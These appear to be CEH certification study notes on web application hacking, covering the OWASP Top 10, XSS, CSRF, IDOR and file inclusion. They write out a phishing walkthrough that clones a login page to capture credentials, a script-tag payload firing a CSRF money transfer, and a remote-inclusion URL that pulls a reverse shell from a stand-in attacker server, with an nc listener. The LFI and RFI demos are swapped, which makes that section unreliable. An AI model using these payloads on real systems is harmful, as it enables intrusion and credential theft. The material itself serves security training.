CEHv12-14 - Web Application Hacking - Hacking Web Applications

Web App basics

Web Application: UI to interact with web servers

Architecture

  • Service-oriented architecture (SOA): architecture-driven software design where software components deliver information to other components usually over a network (e.g. a company might develop an API that provides software programming access to a specific database, which would then let other developers build applications that could leverage the API to query or upload data).
  • Multi-tier architecture: each layer is developed and maintained as independent modules. Every layer can exist without the layers above it, and requires the layers below it to function.
    • Three-tier architecture:
      1. Client/presentation layer: GUI to interact with users, place in DMZ layer (e.g. HTML, CSS, JavaScript).
      2. Business layer or logic layer: encapsulates the API definition surfacing the supported business functionality, place in internal network (e.g. C#, Java, Python, C++…)
      3. Database layer or Persistence layer: place in internal network (e.g. MySQL, Oracle, MongoDB).
Layer Web element / service Description
Layer 7 Web application Business logic flaws, technical vulnerabilities
Layer 6 Third party applications Open source or commercial
Layer 5 Web server Apache, IIS
Layer 4 Database MySql, Oracle
Layer 3 OS Linux, Windows, macOS
Layer 2 Network Router, Switch
Layer 1 Security IPS / IDS

Web application hacking methodology

  1. Web infrastructure footprinting:

    • Server discovery: servers, location, ports
    • Hidden content discovery (e.g. through web crawling)
      • using telnet (telnet <target-url-or-ip> 80 to create a telnet connection,and press escape to get some info).

      • using OpenSSL (TLS/SSL toolkit & library) with s_client (SSL/TLS client)

        1
        2
        openssl s_client -connect <target website> -port 443
        openssl s_client -connect <target website>:443
  2. Web server attack to exploit identified vulnerabilities:

    • Client-side controls evasion (e.g. attacking hidden form fields).
    • Launch web server attack to exploit identified vulnerabilities, launch DoS.

Web application threats

  • OWASP Top 10 Threats: Injection, Broken authentication, Sensitive data exposure, XML External Entities (XXE), Broken Access Control, Security misconfiguration, Cross-Site Scripting (XSS), Insecure deserialization, Using components with known vulnerabilities, Insufficient logging and monitoring.
  • Web-server threats: Denial-of-Service (DoS), Buffer Overflow.
  • Obfuscation application: obfuscated attacks using e.g. different encodings.
  • Broken account management: vulnerabilities in account update, password reset/recovery and other functions.
  • Platform Exploits: platforms that websites are built with/built on might have vulnerabilities.

OWASP top 10 web application attacks

  • OWASP: open community dedicated for application security.
  • OWASP Community Pages: Wiki including controls, attacks, vulnerabilities for applications.
  • OWASP WebGoat is a deliberately insecure application to test top 10 vulnerabilities.
  • OWASP Top 10: Describes top 10 application security threats.
    1. Broken Access Control (A01): inadequate enforcement of access controls, such as improper authorization mechanisms, missing authentication, or failure to restrict users’ access to certain functionalities or resources.
    2. Cryptographic Failures (A02): vulnerabilities related to the incorrect implementation or misuse of cryptographic techniques, such as encryption, hashing, or key management. These failures can lead to sensitive data exposure or compromise of system integrity.
    3. Injection (A03): untrusted data is sent to an interpreter as part of a command or query, leading to the execution of unintended commands or unauthorized access to data. This category includes common injection attacks such as SQL injection, NoSQL injection, and command injection.
    4. Insecure Design (A04): flaws in the architectural or design aspects of a system, such as inadequate threat modeling, insecure design patterns, or failure to follow secure coding principles. These vulnerabilities can lead to systemic weaknesses that are difficult to address without fundamental design changes.
    5. Security Misconfiguration (A05): security settings are not properly configured, such as default passwords, unnecessary features enabled, or excessive permissions granted. These misconfigurations can expose systems to unauthorized access, data leaks, or other security risks.
    6. Vulnerable and Outdated Components (A06): risks associated with the use of outdated or vulnerable software components, such as libraries, frameworks, or third-party dependencies. Failure to update or patch these components can expose applications to known exploits and security vulnerabilities.
    7. Identification and Authentication Failures (A07): when authentication mechanisms are improperly implemented or authentication credentials are not adequately protected. These failures can lead to unauthorized access, account takeover, or other security breaches.
    8. Software and Data Integrity Failures (A08): focuses on vulnerabilities related to assumptions made about software updates, critical data, or CI/CD pipelines without verifying integrity. These failures can lead to unauthorized modifications to software or data, compromising system integrity and security.
    9. Security Logging and Monitoring Failures (A09): logging and monitoring failures occur when applications fail to generate adequate logs or monitoring alerts, hindering detection and response to security incidents. These failures can impact visibility, incident alerting, and forensic analysis, making it difficult to detect and mitigate security threats.
    10. Server-Side Request Forgery (A10): when attackers can manipulate server-side requests to access internal resources or perform unauthorized actions on behalf of the server. These vulnerabilities can lead to data leaks, unauthorized access, or server-side attacks.

Web app hacking methodology

  1. Reconnaissance and footprinting:
    • Understand the application and its environment.
    • Gather information about the target’s organization, technology stack, and potential vulnerabilities.
  2. Enumeration:
    • Identify IP addresses, DNS information, subdomains, virtual hosts, firewalls, WAFs, proxies, rate limiting, etc.
    • Discover software versions, open ports, files, directories, and hidden content.
  3. Vulnerability assessment:
    • Use automated tools and manual testing to find vulnerabilities.
    • Identify potential exploits by mapping out discovered vulnerabilities.
  4. Exploitation:
    • Attack identified vulnerabilities to gain unauthorized access or escalate privileges.
    • Perform various types of attacks such as injection attacks, authentication bypasses, logic flaws, CSRF, XSS, and more.

Unvalidated redirects and forwards

  • Unvalidated redirect: redirecting users to different websites without validating the target URL.
    • Commonly seen when a link redirects you to a different site.
    • Attackers exploit these to create phishing sites that appear legitimate.
    • Users may not notice the change in URL, leading to credential theft or malware downloads.
  • Unvalidated forward: similar to redirects but often used within applications, potentially granting access to restricted areas.
    • May grant access to restricted pages, such as admin portals.
    • Harder to demonstrate as they require specific vulnerable systems.

How to

  • Tools used:

    • BWAP (Buggy Web Application): used to demonstrate the attack.
    • Social engineering toolkit (SE Toolkit): for cloning the login page.
  • Steps:

    1. Create a phishing email: informing users of a fake data breach and asking them to log in.
    2. Clone login page: using SE Toolkit to create a fake login page that mimics the real one.
    3. Set up redirect: direct the phishing link to the fake login page.
    4. Capture credentials: when users enter their credentials, they are logged, demonstrating how easily information can be stolen.

XSS and CSRF

Cross-Site Scripting (XSS)

XSS is a vulnerability where an attacker can inject malicious scripts into web pages viewed by other users. These scripts are typically written in JavaScript and can execute arbitrary code in the victim’s browser, stealing data or performing actions on their behalf.

  • Types:

    1. Reflected XSS
      • Occurs when user input is immediately returned by a web application without proper sanitization.
      • Example: Searching for a term on a website that displays the search term back to you without encoding.
    2. Stored (Persistent) XSS
      • Occurs when user input is stored on the server and then displayed on web pages.
      • Example: Comment sections on blogs where malicious scripts are stored in the database and executed every time the comment is viewed.
    3. DOM-based XSS
      • Occurs when the vulnerability exists in the client-side code rather than the server-side code.
      • Example: Manipulating the DOM environment in the browser to execute malicious scripts.
  • Testing for XSS: To test for XSS, you can inject a simple JavaScript alert script into inputs to see if it gets executed:

    1
    <script>alert('XSS');</script>

Cross-Site Request Forgery (CSRF)

CSRF exploits the trust that a web application has in the user. It tricks the user into performing actions on behalf of the attacker, often without the user’s knowledge.

How to

  • Trust relationship: the user is authenticated on a site (e.g., logged into their bank).
  • Malicious request: the attacker crafts a request to perform a sensitive action (e.g., transferring money) and embeds it in a malicious link or script.
  • Execution: the user unknowingly triggers the action by visiting a malicious website or clicking a link, which uses their credentials to perform the action.

Combining XSS and CSRF

An attacker can leverage XSS to inject a CSRF attack, combining the power of both vulnerabilities. Here’s an example scenario:

  1. Identify CSRF vulnerability: find a URL that performs a sensitive action, like transferring money, which includes the action and parameters in the URL.

  2. Craft XSS payload: use an XSS vulnerability to inject a script that automatically triggers the CSRF request.

  3. Deliver payload: the payload can be delivered via a blog comment, social media post, or any other method where users will view the malicious content.

    1
    2
    3
    <script>
    new Image().src = "http://victim.com/transfer?amount=100&account=attacker_account";
    </script>

Input filtering evasion

  1. Character encoding: utilize different representations like HTML entities and hexadecimal encoding to alter characters and bypass filters.
  2. White space manipulation:
    • Use spaces, tabs, line breaks, and other white space characters to disguise input.
    • Encode white space characters to avoid issues with spaces in commands.
  3. Script tag manipulation:
    • Alter the case of characters in script tags to confuse case-sensitive filters.
    • Mixing case in script tags can bypass filters that are not case-sensitive.
  4. Polyglots:

IDOR

IDOR stands for Insecure Direct Object Reference, indicating a vulnerability where users can manipulate parameters of a web application that should be inaccessible.

  • Characteristics:
    • Users can access and modify sensitive data or functionality that should be restricted (like ticket price during ticket purchase POST request).
    • Often arises due to oversight or neglect in implementing proper access controls.
  • Exploitation:
    • Attackers leverage IDOR vulnerabilities to gain unauthorized access to resources or perform actions beyond their privileges.
    • Manipulating parameters through tools like Burp Suite or browser dev tools allows users to bypass intended restrictions.
  • Prevention: mitigation requires implementing robust access controls, validating user inputs, and enforcing least privilege principles.

File inclusion (LFI, RFI)

File inclusion involves incorporating a file into a web application. This can be done either by fetching files from the local file system or from a remote source. While file inclusion is a useful feature in web development, it can be exploited by malicious actors to gain unauthorized access to sensitive files or even the server itself.

Types

  1. Local File Inclusion (LFI): includes files from the local file system (e.g. including a configuration file from the server).
    • Demo:
      1. In the URL of the vulnerable web application, replace the local file path with the path to rev_shell.php hosted on the attacker’s server: http://vulnerable-app.com/index.php?page=http://attacker-server/rev_shell.php. Once executed, the reverse shell connects back to the attacker, providing remote access.
      2. We have already set up a listener to use the reverse shell when established: nc -nvlp 9999 # Start the listener on port 9999
  2. Remote File Inclusion (RFI): includes files from a remote server (e.g. including an image hosted on another server).
    • Demo:
      1. The file /etc/passwd is a common target to demonstrate LFI.
      2. Modify the URL parameter to include /etc/passwd: http://vulnerable-app.com/index.php?page=/etc/passwd

APIs and webhooks

API

API stands for Application Programming Interface. An API allows different software applications to communicate with each other.

  • Features:

    • Interoperability: APIs enable different systems and software to work together, regardless of the underlying technologies they are built on.
    • Efficiency: They automate processes that would otherwise require manual intervention, making tasks more efficient.
    • Scalability: APIs can handle numerous requests simultaneously, supporting scalability in software applications.
  • Types of APIs:

    1. REST (Representational State Transfer): Uses standard HTTP methods (GET, POST, PUT, DELETE) and is often preferred for web services because of its simplicity and performance. It typically uses JSON for data exchange.
    2. SOAP (Simple Object Access Protocol): A protocol for exchanging structured information in web services. It relies on XML and is known for its strict standards and extensibility.

Webhook

A webhook is a method of augmenting or altering the behavior of a web application with custom callbacks. It is a way for an application to provide real-time information to other applications. Webhooks are triggered by events and send data to a specified URL in real-time.

  • Types:
    • Event-driven: Webhooks are configured to listen for specific events. When an event occurs, the webhook sends a payload of data to a pre-defined URL.
    • Push notifications: They work like push notifications, notifying the recipient immediately when an event occurs, rather than requiring the recipient to poll the server for updates.